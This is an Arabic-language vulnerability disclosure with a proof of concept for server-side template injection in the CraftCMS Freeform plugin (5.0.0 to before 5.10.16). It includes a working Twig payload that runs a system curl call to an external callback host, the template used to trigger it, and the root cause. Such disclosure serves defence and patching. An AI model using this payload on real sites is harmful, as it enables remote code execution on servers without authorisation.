
حقن كود تعسفي في CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform يحتوي على ثغرة SSTI تؤدي إلى حقن تعليمات برمجية عشوائية لجميع المستخدمين الذين لديهم صلاحية تحرير نموذج (عنوان الإرسال).
الإصدارات المتأثرة هي v5.0.0 < v5.10.16.
أنشئ نموذجًا:

لقد أنشأت النموذج "pentest" هنا كإثبات للمفهوم. بعد ذلك، ضمن الإعدادات، عيّن عنوان الإرسال التالي (غيّر اسم النطاق إلى خادمك الخاص):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

سيؤدي هذا إلى تنفيذ استدعاء نظام عشوائي. في هذه الحالة، أقوم بتنفيذ طلب curl إلى خادم تحت سيطرتي ليخبرني في حال وجود اتصالات واردة. بعد ذلك، أدرج هذا النموذج في قالب/صفحة وأرسله:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
سيكون قد تم استدعاء أمر curl. يمكننا التحقق من ذلك بالنظر إلى طلب HTTP الوارد الذي تم إنشاؤه:

السبب الجذري لهذه المشكلة هو أن Freeform يطبّق مُرشِّح Twig "call" دون التحقق من مدخلات المستخدم. تم إصلاح ذلك في commit التالي.